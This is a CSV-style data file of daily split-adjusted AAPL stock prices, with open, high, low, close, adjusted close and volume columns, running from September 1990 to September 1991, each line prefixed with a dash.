-1990-09-18,1.2053571939468384,1.2053571939468384,1.1785714626312256,1.1919642686843872,0.9753862023353577,31152800.0,AAPL
-1990-09-19,1.1875,1.2053571939468384,1.1428571939468384,1.1607142686843872,0.9498142600059509,45614800.0,AAPL
-1990-09-20,1.1517857313156128,1.1517857313156128,1.1160714626312256,1.1294642686843872,0.9242421984672546,25233600.0,AAPL
-1990-09-21,1.1428571939468384,1.1607142686843872,1.1071428060531616,1.125,0.9205893874168396,38466400.0,AAPL
-1990-09-24,1.125,1.125,1.0625,1.0803571939468384,0.8840579390525818,34624800.0,AAPL
-1990-09-25,1.0892857313156128,1.0982142686843872,1.0446428060531616,1.0714285373687744,0.876751720905304,39488400.0,AAPL
-1990-09-26,1.0714285373687744,1.0892857313156128,1.0625,1.0625,0.8694455027580261,23534000.0,AAPL
-1990-09-27,1.0714285373687744,1.0892857313156128,1.0,1.0089285373687744,0.8256077170372009,35585200.0,AAPL
-1990-09-28,1.0178571939468384,1.0357142686843872,0.9732142686843872,1.0357142686843872,0.847526490688324,44010400.0,AAPL
-1990-10-01,1.0535714626312256,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.8913639187812805,38914400.0,AAPL
-1990-10-02,1.1071428060531616,1.1428571939468384,1.0535714626312256,1.0580357313156128,0.8657920956611633,67746000.0,AAPL
-1990-10-03,1.0625,1.0625,0.9553571343421936,0.9642857313156128,0.7890762686729431,67060000.0,AAPL
-1990-10-04,0.9553571343421936,1.0,0.9375,1.0,0.8183014392852783,53373600.0,AAPL
-1990-10-05,0.9642857313156128,1.0267857313156128,0.9642857313156128,1.0,0.8183014392852783,24872400.0,AAPL
-1990-10-08,1.0267857313156128,1.0446428060531616,1.0089285373687744,1.0401785373687744,0.8511797189712524,15383200.0,AAPL
-1990-10-09,1.0178571939468384,1.0357142686843872,0.9910714030265808,1.0,0.8183014392852783,30144800.0,AAPL
-1990-10-10,0.9732142686843872,1.0,0.9285714030265808,0.9464285969734192,0.7744641304016113,36976800.0,AAPL
-1990-10-11,0.9553571343421936,0.9955357313156128,0.9107142686843872,0.9910714030265808,0.8109952211380005,51494800.0,AAPL
-1990-10-12,1.0089285373687744,1.0178571939468384,0.9642857313156128,1.0089285373687744,0.8256077170372009,57162000.0,AAPL
-1990-10-15,1.0178571939468384,1.0267857313156128,0.9508928656578064,0.9910714030265808,0.8109952211380005,50254400.0,AAPL
-1990-10-16,0.9821428656578064,0.9821428656578064,0.8660714030265808,0.8928571343421936,0.7306264638900757,76308400.0,AAPL
-1990-10-17,0.9017857313156128,0.9464285969734192,0.8928571343421936,0.9464285969734192,0.7744641304016113,77266000.0,AAPL
-1990-10-18,0.9464285969734192,1.0267857313156128,0.9464285969734192,1.0178571939468384,0.832913875579834,78750000.0,AAPL
-1990-10-19,1.1160714626312256,1.1339285373687744,1.0803571939468384,1.1205357313156128,0.9169360995292664,233433200.0,AAPL
-1990-10-22,1.125,1.125,1.0892857313156128,1.1116071939468384,0.9096301198005676,63184800.0,AAPL
-1990-10-23,1.1071428060531616,1.125,1.0803571939468384,1.1071428060531616,0.9059768319129944,41762000.0,AAPL
-1990-10-24,1.0982142686843872,1.1071428060531616,1.0714285373687744,1.0892857313156128,0.8913639187812805,35456400.0,AAPL
-1990-10-25,1.0803571939468384,1.1160714626312256,1.0580357313156128,1.0714285373687744,0.876751720905304,38365600.0,AAPL
-1990-10-26,1.0625,1.1160714626312256,1.0625,1.0714285373687744,0.876751720905304,33549600.0,AAPL
-1990-10-29,1.0803571939468384,1.0892857313156128,1.0625,1.0669642686843872,0.8730985522270203,30870000.0,AAPL
-1990-10-30,1.0625,1.0982142686843872,1.03125,1.0848214626312256,0.8877109885215759,24511200.0,AAPL
-1990-10-31,1.0892857313156128,1.1383928060531616,1.0803571939468384,1.0982142686843872,0.8986704349517822,37189600.0,AAPL
-1990-11-01,1.0892857313156128,1.1071428060531616,1.0625,1.0892857313156128,0.8913639187812805,22663200.0,AAPL
-1990-11-02,1.0892857313156128,1.15625,1.0892857313156128,1.1339285373687744,0.9278954267501831,37153200.0,AAPL
-1990-11-05,1.1517857313156128,1.1964285373687744,1.1428571939468384,1.1875,0.9717329144477844,46118800.0,AAPL
-1990-11-06,1.1964285373687744,1.2321428060531616,1.1875,1.1964285373687744,0.9790390729904175,46191600.0,AAPL
-1990-11-07,1.1964285373687744,1.2053571939468384,1.1651785373687744,1.1875,0.9717329144477844,50744400.0,AAPL
-1990-11-08,1.1785714626312256,1.25,1.1785714626312256,1.2321428060531616,1.0082643032073975,49812000.0,AAPL
-1990-11-09,1.25,1.2767857313156128,1.2321428060531616,1.2678571939468384,1.037489652633667,49557200.0,AAPL
-1990-11-12,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.0594080686569214,36262800.0,AAPL
-1990-11-13,1.2946428060531616,1.3035714626312256,1.2767857313156128,1.2857142686843872,1.0521018505096436,35487200.0,AAPL
-1990-11-14,1.2767857313156128,1.3303571939468384,1.2767857313156128,1.3214285373687744,1.081326961517334,47686800.0,AAPL
-1990-11-15,1.3125,1.3214285373687744,1.2678571939468384,1.2857142686843872,1.0521018505096436,40443200.0,AAPL
-1990-11-16,1.2767857313156128,1.2857142686843872,1.2410714626312256,1.2544642686843872,1.0299663543701172,45752000.0,AAPL
-1990-11-19,1.2678571939468384,1.2991071939468384,1.2589285373687744,1.2991071939468384,1.066620111465454,55977600.0,AAPL
-1990-11-20,1.3035714626312256,1.3125,1.2589285373687744,1.2678571939468384,1.0409631729125977,38407600.0,AAPL
-1990-11-21,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2901785373687744,1.0592896938323975,30802800.0,AAPL
-1990-11-23,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.066620111465454,13300000.0,AAPL
-1990-11-26,1.2857142686843872,1.3214285373687744,1.2857142686843872,1.3125,1.0776163339614868,20364400.0,AAPL
-1990-11-27,1.3214285373687744,1.3660714626312256,1.3125,1.3392857313156128,1.0996088981628418,41146000.0,AAPL
-1990-11-28,1.3482142686843872,1.375,1.3125,1.3125,1.0776163339614868,43727600.0,AAPL
-1990-11-29,1.3214285373687744,1.3214285373687744,1.2946428060531616,1.3125,1.0776163339614868,31676400.0,AAPL
-1990-11-30,1.2946428060531616,1.3303571939468384,1.2946428060531616,1.3125,1.0776163339614868,30377200.0,AAPL
-1990-12-03,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3616071939468384,1.1179354190826416,41350400.0,AAPL
-1990-12-04,1.3392857313156128,1.3839285373687744,1.3392857313156128,1.375,1.1289312839508057,38038000.0,AAPL
-1990-12-05,1.375,1.4375,1.3526785373687744,1.4330357313156128,1.1765811443328857,54597200.0,AAPL
-1990-12-06,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4732142686843872,1.2095693349838257,133061600.0,AAPL
-1990-12-07,1.4642857313156128,1.5267857313156128,1.4642857313156128,1.5178571939468384,1.2462230920791626,82415200.0,AAPL
-1990-12-10,1.5089285373687744,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.2242311239242554,62647200.0,AAPL
-1990-12-11,1.4732142686843872,1.4821428060531616,1.4285714626312256,1.4285714626312256,1.1729159355163574,86970800.0,AAPL
-1990-12-12,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4151785373687744,1.1619200706481934,60589200.0,AAPL
-1990-12-13,1.4107142686843872,1.4642857313156128,1.4107142686843872,1.4553571939468384,1.1949080228805542,40182800.0,AAPL
-1990-12-14,1.4375,1.4464285373687744,1.4107142686843872,1.4241071939468384,1.169250726699829,21767200.0,AAPL
-1990-12-17,1.3928571939468384,1.4464285373687744,1.3928571939468384,1.4330357313156128,1.1765811443328857,32776800.0,AAPL
-1990-12-18,1.4642857313156128,1.5178571939468384,1.4553571939468384,1.5089285373687744,1.2388921976089478,55246800.0,AAPL
-1990-12-19,1.5178571939468384,1.5178571939468384,1.46875,1.4955357313156128,1.2278963327407837,35165200.0,AAPL
-1990-12-20,1.4732142686843872,1.5892857313156128,1.4732142686843872,1.5714285373687744,1.2902075052261353,100268000.0,AAPL
-1990-12-21,1.5803571939468384,1.6160714626312256,1.5535714626312256,1.6071428060531616,1.3195303678512573,86534000.0,AAPL
-1990-12-24,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.2902075052261353,14680400.0,AAPL
-1990-12-26,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5625,1.2828766107559204,25768400.0,AAPL
-1990-12-27,1.5446428060531616,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.2755457162857056,24413200.0,AAPL
-1990-12-28,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5357142686843872,1.2608847618103027,15982400.0,AAPL
-1990-12-31,1.5357142686843872,1.5446428060531616,1.5267857313156128,1.5357142686843872,1.2608847618103027,11068400.0,AAPL
-1991-01-02,1.5267857313156128,1.5714285373687744,1.5,1.5535714626312256,1.2755457162857056,38746400.0,AAPL
-1991-01-03,1.5535714626312256,1.5803571939468384,1.5357142686843872,1.5357142686843872,1.2608847618103027,37545200.0,AAPL
-1991-01-04,1.5357142686843872,1.5803571939468384,1.5357142686843872,1.5446428060531616,1.2682149410247803,35380800.0,AAPL
-1991-01-07,1.5357142686843872,1.6160714626312256,1.5357142686843872,1.5446428060531616,1.2682149410247803,77700000.0,AAPL
-1991-01-08,1.5625,1.5669642686843872,1.5178571939468384,1.5446428060531616,1.2682149410247803,54672800.0,AAPL
-1991-01-09,1.5803571939468384,1.6428571939468384,1.5625,1.6160714626312256,1.326860785484314,116816000.0,AAPL
-1991-01-10,1.6339285373687744,1.6875,1.6339285373687744,1.6830357313156128,1.3818415403366089,108830400.0,AAPL
-1991-01-11,1.6785714626312256,1.6875,1.6428571939468384,1.6785714626312256,1.3781757354736328,76913200.0,AAPL
-1991-01-14,1.6428571939468384,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3561843633651733,52710000.0,AAPL
-1991-01-15,1.6607142686843872,1.6696428060531616,1.6428571939468384,1.6696428060531616,1.3708453178405762,48014400.0,AAPL
-1991-01-16,1.6785714626312256,1.7857142686843872,1.6696428060531616,1.7767857313156128,1.4588139057159424,97658400.0,AAPL
-1991-01-17,1.875,1.8839285373687744,1.75,1.8303571939468384,1.5027987957000732,147918400.0,AAPL
-1991-01-18,1.7410714626312256,1.8125,1.7321428060531616,1.7946428060531616,1.4734755754470825,235810400.0,AAPL
-1991-01-21,1.7767857313156128,1.8392857313156128,1.7767857313156128,1.8125,1.488136887550354,81076800.0,AAPL
-1991-01-22,1.8214285373687744,1.875,1.8035714626312256,1.8303571939468384,1.5027987957000732,106932000.0,AAPL
-1991-01-23,1.8303571939468384,1.8660714626312256,1.8214285373687744,1.8482142686843872,1.5174599885940552,61065200.0,AAPL
-1991-01-24,1.8392857313156128,1.8839285373687744,1.8392857313156128,1.8616071939468384,1.5284563302993774,58483600.0,AAPL
-1991-01-25,1.8571428060531616,1.9151785373687744,1.8571428060531616,1.9107142686843872,1.5687748193740845,55952400.0,AAPL
-1991-01-28,1.9017857313156128,1.9732142686843872,1.9017857313156128,1.9464285373687744,1.5980976819992065,68370400.0,AAPL
-1991-01-29,1.9375,1.9464285373687744,1.8660714626312256,1.9196428060531616,1.5761054754257202,53888800.0,AAPL
-1991-01-30,1.9017857313156128,1.9910714626312256,1.9017857313156128,1.9821428060531616,1.6274211406707764,84193200.0,AAPL
-1991-01-31,1.9821428060531616,2.0,1.9553571939468384,1.9821428060531616,1.6274211406707764,60648000.0,AAPL
-1991-02-01,1.9821428060531616,2.0669643878936768,1.9821428060531616,1.9910714626312256,1.6347512006759644,111137600.0,AAPL
-1991-02-04,1.9910714626312256,2.0,1.9642857313156128,1.9732142686843872,1.620090126991272,66962000.0,AAPL
-1991-02-05,1.9732142686843872,2.0714285373687744,1.9553571939468384,2.0625,1.6933971643447876,89028800.0,AAPL
-1991-02-06,2.0625,2.080357074737549,2.017857074737549,2.03125,1.667739987373352,55641600.0,AAPL
-1991-02-07,2.0357143878936768,2.0982143878936768,1.9910714626312256,2.0625,1.6933971643447876,130043200.0,AAPL
-1991-02-08,2.0535714626312256,2.1517856121063232,2.0535714626312256,2.138392925262451,1.7557086944580078,78388800.0,AAPL
-1991-02-11,2.142857074737549,2.1964285373687744,2.1339285373687744,2.1919643878936768,1.7996933460235596,80757600.0,AAPL
-1991-02-12,2.1785714626312256,2.1875,2.1205356121063232,2.142857074737549,1.7593740224838257,56187600.0,AAPL
-1991-02-13,2.142857074737549,2.1517856121063232,2.0714285373687744,2.142857074737549,1.7593740224838257,63887600.0,AAPL
-1991-02-14,2.142857074737549,2.142857074737549,2.0267856121063232,2.0401785373687744,1.6750706434249878,94418800.0,AAPL
-1991-02-15,2.044642925262451,2.0892856121063232,2.044642925262451,2.0580356121063232,1.6932927370071411,91403200.0,AAPL
-1991-02-19,2.0535714626312256,2.1517856121063232,2.049107074737549,2.142857074737549,1.7630813121795654,56562800.0,AAPL
-1991-02-20,2.125,2.205357074737549,2.1160714626312256,2.1785714626312256,1.7924656867980957,53410000.0,AAPL
-1991-02-21,2.1875,2.2232143878936768,2.0982143878936768,2.107142925262451,1.7336962223052979,47717600.0,AAPL
-1991-02-22,2.107142925262451,2.205357074737549,2.0892856121063232,2.1339285373687744,1.7557352781295776,58142000.0,AAPL
-1991-02-25,2.1517856121063232,2.1607143878936768,2.0535714626312256,2.0714285373687744,1.704311728477478,89818400.0,AAPL
-1991-02-26,2.0535714626312256,2.0982143878936768,2.017857074737549,2.080357074737549,1.7116577625274658,62504400.0,AAPL
-1991-02-27,2.080357074737549,2.0892856121063232,2.0535714626312256,2.080357074737549,1.7116577625274658,43593200.0,AAPL
-1991-02-28,2.080357074737549,2.0892856121063232,2.0089285373687744,2.044642925262451,1.682273268699646,56840000.0,AAPL
-1991-03-01,2.0357143878936768,2.107142925262451,2.0357143878936768,2.0625,1.6969654560089111,31533600.0,AAPL
-1991-03-04,2.0714285373687744,2.0982143878936768,2.0357143878936768,2.0848214626312256,1.7153304815292358,22089200.0,AAPL
-1991-03-05,2.107142925262451,2.2589285373687744,2.107142925262451,2.2544643878936768,1.8549083471298218,110362000.0,AAPL
-1991-03-06,2.2857143878936768,2.34375,2.2455356121063232,2.25,1.8512349128723145,130989600.0,AAPL
-1991-03-07,2.267857074737549,2.4107143878936768,2.2589285373687744,2.4017856121063232,1.9761202335357666,80438400.0,AAPL
-1991-03-08,2.419642925262451,2.4375,2.3214285373687744,2.3214285373687744,1.910004734992981,80550400.0,AAPL
-1991-03-11,2.3035714626312256,2.3125,2.2232143878936768,2.267857074737549,1.86592698097229,43842400.0,AAPL
-1991-03-12,2.25,2.2767856121063232,2.232142925262451,2.2455356121063232,1.8475618362426758,58419200.0,AAPL
-1991-03-13,2.2410714626312256,2.375,2.2410714626312256,2.3660714626312256,1.9467352628707886,43638000.0,AAPL
-1991-03-14,2.3839285373687744,2.4107143878936768,2.3035714626312256,2.330357074737549,1.9173507690429688,56767200.0,AAPL
-1991-03-15,2.3482143878936768,2.375,2.330357074737549,2.3660714626312256,1.9467352628707886,51209200.0,AAPL
-1991-03-18,2.3482143878936768,2.4375,2.3482143878936768,2.419642925262451,1.9908121824264526,53502400.0,AAPL
-1991-03-19,2.375,2.5089285373687744,2.3482143878936768,2.482142925262451,2.0422353744506836,105548800.0,AAPL
-1991-03-20,2.4732143878936768,2.482142925262451,2.388392925262451,2.419642925262451,1.9908121824264526,90426000.0,AAPL
-1991-03-21,2.4375,2.455357074737549,2.2767856121063232,2.3125,1.9026579856872559,74200000.0,AAPL
-1991-03-22,2.2857143878936768,2.3125,2.2232143878936768,2.2589285373687744,1.85858154296875,84532000.0,AAPL
-1991-03-25,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3035714626312256,1.895311951637268,33964000.0,AAPL
-1991-03-26,2.3125,2.5089285373687744,2.3125,2.5,2.056927442550659,83406400.0,AAPL
-1991-03-27,2.5,2.5089285373687744,2.4464285373687744,2.4732143878936768,2.0348892211914062,47555200.0,AAPL
-1991-03-28,2.4732143878936768,2.5,2.419642925262451,2.4285714626312256,1.9981579780578613,19675600.0,AAPL
-1991-04-01,2.4285714626312256,2.482142925262451,2.4107143878936768,2.4464285373687744,2.0128509998321533,29481200.0,AAPL
-1991-04-02,2.4642856121063232,2.5982143878936768,2.4464285373687744,2.5982143878936768,2.137734889984131,73231200.0,AAPL
-1991-04-03,2.5892856121063232,2.5982143878936768,2.5,2.5,2.056927442550659,60032000.0,AAPL
-1991-04-04,2.5,2.5714285373687744,2.482142925262451,2.5535714626312256,2.101004123687744,42109200.0,AAPL
-1991-04-05,2.5625,2.5625,2.455357074737549,2.4776785373687744,2.0385618209838867,38852800.0,AAPL
-1991-04-08,2.4732143878936768,2.5,2.455357074737549,2.5,2.056927442550659,18118800.0,AAPL
-1991-04-09,2.4910714626312256,2.5,2.4375,2.455357074737549,2.0201969146728516,29862000.0,AAPL
-1991-04-10,2.4464285373687744,2.4732143878936768,2.3839285373687744,2.388392925262451,1.9650999307632446,54101600.0,AAPL
-1991-04-11,2.419642925262451,2.549107074737549,2.4107143878936768,2.5357143878936768,2.086312770843506,88897200.0,AAPL
-1991-04-12,2.5535714626312256,2.6160714626312256,2.4910714626312256,2.5625,2.108350992202759,91929600.0,AAPL
-1991-04-15,2.205357074737549,2.3035714626312256,2.142857074737549,2.2232143878936768,1.8291963338851929,425096000.0,AAPL
-1991-04-16,2.2589285373687744,2.3035714626312256,2.232142925262451,2.294642925262451,1.8879655599594116,155195600.0,AAPL
-1991-04-17,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.2589285373687744,1.85858154296875,80600800.0,AAPL
-1991-04-18,2.2410714626312256,2.25,2.169642925262451,2.1785714626312256,1.7924656867980957,61840800.0,AAPL
-1991-04-19,2.1785714626312256,2.1964285373687744,2.125,2.1294643878936768,1.7520618438720703,71825600.0,AAPL
-1991-04-22,2.125,2.2142856121063232,2.0982143878936768,2.1964285373687744,1.807158350944519,64254400.0,AAPL
-1991-04-23,2.2232143878936768,2.25,2.1517856121063232,2.1964285373687744,1.807158350944519,59323600.0,AAPL
-1991-04-24,2.205357074737549,2.2142856121063232,2.1607143878936768,2.169642925262451,1.7851192951202393,26362000.0,AAPL
-1991-04-25,2.1339285373687744,2.1339285373687744,2.0892856121063232,2.0892856121063232,1.7190040349960327,78845200.0,AAPL
-1991-04-26,2.0892856121063232,2.107142925262451,2.0625,2.09375,1.7226769924163818,31264800.0,AAPL
-1991-04-29,2.0892856121063232,2.1517856121063232,2.080357074737549,2.080357074737549,1.7116577625274658,51676800.0,AAPL
-1991-04-30,2.0625,2.080357074737549,1.9464285373687744,1.9642857313156128,1.6161576509475708,177861600.0,AAPL
-1991-05-01,1.7142857313156128,1.75,1.6785714626312256,1.6875,1.3884261846542358,467093200.0,AAPL
-1991-05-02,1.7053571939468384,1.7767857313156128,1.6964285373687744,1.75,1.4398497343063354,202781600.0,AAPL
-1991-05-03,1.75,1.7678571939468384,1.7232142686843872,1.75,1.4398497343063354,60928000.0,AAPL
-1991-05-06,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7946428060531616,1.4765803813934326,53082400.0,AAPL
-1991-05-07,1.8214285373687744,1.8303571939468384,1.8035714626312256,1.8080357313156128,1.487599492073059,67620000.0,AAPL
-1991-05-08,1.8125,1.8125,1.7589285373687744,1.7767857313156128,1.4618877172470093,44195200.0,AAPL
-1991-05-09,1.7857142686843872,1.8392857313156128,1.7767857313156128,1.8125,1.4912724494934082,59553200.0,AAPL
-1991-05-10,1.8392857313156128,1.9017857313156128,1.8125,1.8303571939468384,1.5059651136398315,60432400.0,AAPL
-1991-05-13,1.8660714626312256,1.9107142686843872,1.8392857313156128,1.8839285373687744,1.5500423908233643,61236000.0,AAPL
-1991-05-14,1.8839285373687744,1.9196428060531616,1.875,1.9107142686843872,1.5720802545547485,54236000.0,AAPL
-1991-05-15,1.8392857313156128,1.8571428060531616,1.75,1.8035714626312256,1.483926773071289,129586800.0,AAPL
-1991-05-16,1.8214285373687744,1.8303571939468384,1.7321428060531616,1.75,1.4398497343063354,95533200.0,AAPL
-1991-05-17,1.7410714626312256,1.7410714626312256,1.6607142686843872,1.6785714626312256,1.3810803890228271,117765200.0,AAPL
-1991-05-20,1.6875,1.6964285373687744,1.5714285373687744,1.5803571939468384,1.3036034107208252,65542400.0,AAPL
-1991-05-21,1.6160714626312256,1.6607142686843872,1.5982142686843872,1.6160714626312256,1.3330636024475098,87449600.0,AAPL
-1991-05-22,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3625235557556152,56817600.0,AAPL
-1991-05-23,1.6607142686843872,1.6696428060531616,1.5982142686843872,1.6116071939468384,1.3293812274932861,52164000.0,AAPL
-1991-05-24,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.3514763116836548,24281600.0,AAPL
-1991-05-28,1.6428571939468384,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.355159044265747,42859600.0,AAPL
-1991-05-29,1.6517857313156128,1.7053571939468384,1.6383928060531616,1.6785714626312256,1.3846187591552734,96000800.0,AAPL
-1991-05-30,1.6785714626312256,1.7053571939468384,1.6607142686843872,1.7008928060531616,1.4030308723449707,39586400.0,AAPL
-1991-05-31,1.6964285373687744,1.7053571939468384,1.6517857313156128,1.6785714626312256,1.3846187591552734,54465600.0,AAPL
-1991-06-03,1.6785714626312256,1.7678571939468384,1.6696428060531616,1.7589285373687744,1.4509036540985107,55017200.0,AAPL
-1991-06-04,1.7678571939468384,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4472215175628662,46071200.0,AAPL
-1991-06-05,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7142857313156128,1.4140788316726685,33322800.0,AAPL
-1991-06-06,1.7232142686843872,1.7232142686843872,1.6607142686843872,1.6651785373687744,1.3735712766647339,42126000.0,AAPL
-1991-06-07,1.6517857313156128,1.6785714626312256,1.6294642686843872,1.6473214626312256,1.3588415384292603,38186400.0,AAPL
-1991-06-10,1.6428571939468384,1.6830357313156128,1.6339285373687744,1.6428571939468384,1.355159044265747,41860000.0,AAPL
-1991-06-11,1.6071428060531616,1.625,1.5803571939468384,1.59375,1.3146512508392334,47140800.0,AAPL
-1991-06-12,1.5714285373687744,1.5982142686843872,1.4732142686843872,1.5133928060531616,1.2483664751052856,108908800.0,AAPL
-1991-06-13,1.5178571939468384,1.5357142686843872,1.4910714626312256,1.5044642686843872,1.2410014867782593,52841600.0,AAPL
-1991-06-14,1.5267857313156128,1.5267857313156128,1.4553571939468384,1.46875,1.2115412950515747,56322000.0,AAPL
-1991-06-17,1.4642857313156128,1.5089285373687744,1.4642857313156128,1.5,1.237318992614746,41650000.0,AAPL
-1991-06-18,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5044642686843872,1.2410014867782593,61171600.0,AAPL
-1991-06-19,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2299540042877197,44735600.0,AAPL
-1991-06-20,1.4732142686843872,1.5,1.4553571939468384,1.5,1.237318992614746,36010800.0,AAPL
-1991-06-21,1.5,1.5178571939468384,1.4910714626312256,1.5,1.237318992614746,51503200.0,AAPL
-1991-06-24,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2299540042877197,51996000.0,AAPL
-1991-06-25,1.5,1.5357142686843872,1.4910714626312256,1.5133928060531616,1.2483664751052856,56980000.0,AAPL
-1991-06-26,1.5267857313156128,1.5535714626312256,1.5089285373687744,1.5357142686843872,1.2667793035507202,62610800.0,AAPL
-1991-06-27,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5178571939468384,1.2520487308502197,37800000.0,AAPL
-1991-06-28,1.5089285373687744,1.5178571939468384,1.4375,1.4821428060531616,1.2225886583328247,56660800.0,AAPL
-1991-07-01,1.5089285373687744,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2520487308502197,48706000.0,AAPL
-1991-07-02,1.5089285373687744,1.5267857313156128,1.4910714626312256,1.5089285373687744,1.2446836233139038,30035600.0,AAPL
-1991-07-03,1.5089285373687744,1.5535714626312256,1.4910714626312256,1.5401785373687744,1.2704613208770752,77593600.0,AAPL
-1991-07-05,1.5357142686843872,1.6428571939468384,1.5267857313156128,1.6294642686843872,1.3441112041473389,82888400.0,AAPL
-1991-07-08,1.6160714626312256,1.6875,1.6071428060531616,1.6696428060531616,1.3772534132003784,76770400.0,AAPL
-1991-07-09,1.6875,1.7232142686843872,1.6607142686843872,1.6741071939468384,1.3809363842010498,56610400.0,AAPL
-1991-07-10,1.6964285373687744,1.7232142686843872,1.6696428060531616,1.6875,1.3919837474822998,39144000.0,AAPL
-1991-07-11,1.6785714626312256,1.6875,1.6428571939468384,1.6696428060531616,1.3772534132003784,36478400.0,AAPL
-1991-07-12,1.6875,1.6875,1.6517857313156128,1.6696428060531616,1.3772534132003784,33188400.0,AAPL
-1991-07-15,1.6696428060531616,1.6696428060531616,1.625,1.625,1.3404288291931152,34496000.0,AAPL
-1991-07-16,1.625,1.6339285373687744,1.5535714626312256,1.5625,1.2888737916946411,55748000.0,AAPL
-1991-07-17,1.5535714626312256,1.5892857313156128,1.5089285373687744,1.5178571939468384,1.2520487308502197,52234000.0,AAPL
-1991-07-18,1.5714285373687744,1.6116071939468384,1.5357142686843872,1.6026785373687744,1.322016716003418,99579200.0,AAPL
-1991-07-19,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.355159044265747,32104800.0,AAPL
-1991-07-22,1.6339285373687744,1.6517857313156128,1.625,1.6428571939468384,1.355159044265747,27168400.0,AAPL
-1991-07-23,1.6517857313156128,1.6607142686843872,1.5892857313156128,1.6071428060531616,1.3256988525390625,33264000.0,AAPL
-1991-07-24,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.3256988525390625,32863600.0,AAPL
-1991-07-25,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6160714626312256,1.3330636024475098,16450000.0,AAPL
-1991-07-26,1.6339285373687744,1.6339285373687744,1.5982142686843872,1.6026785373687744,1.322016716003418,18558400.0,AAPL
-1991-07-29,1.6160714626312256,1.625,1.5892857313156128,1.625,1.3404288291931152,13325200.0,AAPL
-1991-07-30,1.625,1.6696428060531616,1.625,1.6607142686843872,1.3698886632919312,22965600.0,AAPL
-1991-07-31,1.6607142686843872,1.6741071939468384,1.6071428060531616,1.6517857313156128,1.3625235557556152,25701200.0,AAPL
-1991-08-01,1.6428571939468384,1.7589285373687744,1.6339285373687744,1.7544642686843872,1.4472215175628662,112106400.0,AAPL
-1991-08-02,1.7767857313156128,1.7946428060531616,1.75,1.7857142686843872,1.4729986190795898,68252800.0,AAPL
-1991-08-05,1.7767857313156128,1.7767857313156128,1.7232142686843872,1.7321428060531616,1.4288084506988525,25191600.0,AAPL
-1991-08-06,1.7410714626312256,1.7946428060531616,1.7053571939468384,1.7678571939468384,1.4582691192626953,55106800.0,AAPL
-1991-08-07,1.7678571939468384,1.8214285373687744,1.7633928060531616,1.7991071939468384,1.484046459197998,52903200.0,AAPL
-1991-08-08,1.8125,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.4877291917800903,47362000.0,AAPL
-1991-08-09,1.8035714626312256,1.8214285373687744,1.7767857313156128,1.8125,1.495093822479248,38600800.0,AAPL
-1991-08-12,1.8125,1.8660714626312256,1.8035714626312256,1.8482142686843872,1.524553656578064,35632800.0,AAPL
-1991-08-13,1.8571428060531616,1.9285714626312256,1.8571428060531616,1.9107142686843872,1.5761082172393799,71646400.0,AAPL
-1991-08-14,1.9553571939468384,1.9642857313156128,1.9241071939468384,1.9598214626312256,1.6166162490844727,50178800.0,AAPL
-1991-08-15,1.9642857313156128,1.9642857313156128,1.8928571939468384,1.9017857313156128,1.5687438249588013,36386000.0,AAPL
-1991-08-16,1.8839285373687744,1.9375,1.8660714626312256,1.9017857313156128,1.5687438249588013,39701200.0,AAPL
-1991-08-19,1.7678571939468384,1.84375,1.7321428060531616,1.8035714626312256,1.491092562675476,80620400.0,AAPL
-1991-08-20,1.8392857313156128,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.505855679512024,49856800.0,AAPL
-1991-08-21,1.875,1.9330357313156128,1.8571428060531616,1.9196428060531616,1.5870540142059326,55843200.0,AAPL
-1991-08-22,1.9285714626312256,1.9553571939468384,1.9196428060531616,1.9375,1.6018173694610596,41412000.0,AAPL
-1991-08-23,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.8928571939468384,1.5649088621139526,60104800.0,AAPL
-1991-08-26,1.8928571939468384,1.9107142686843872,1.875,1.8928571939468384,1.5649088621139526,25398800.0,AAPL
-1991-08-27,1.8928571939468384,1.9285714626312256,1.8839285373687744,1.9285714626312256,1.5944350957870483,25088000.0,AAPL
-1991-08-28,1.9285714626312256,1.9375,1.8973214626312256,1.9017857313156128,1.5722904205322266,26896800.0,AAPL
-1991-08-29,1.9017857313156128,1.9241071939468384,1.875,1.8928571939468384,1.5649088621139526,28338800.0,AAPL
-1991-08-30,1.8928571939468384,1.9017857313156128,1.8660714626312256,1.8928571939468384,1.5649088621139526,16534000.0,AAPL
-1991-09-03,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.875,1.5501453876495361,17094000.0,AAPL
-1991-09-04,1.8839285373687744,1.8839285373687744,1.8348214626312256,1.8392857313156128,1.5206190347671509,29946000.0,AAPL
-1991-09-05,1.8392857313156128,1.8482142686843872,1.8125,1.8214285373687744,1.505855679512024,19471200.0,AAPL
-1991-09-06,1.8214285373687744,1.8482142686843872,1.8035714626312256,1.8392857313156128,1.5206190347671509,19818400.0,AAPL
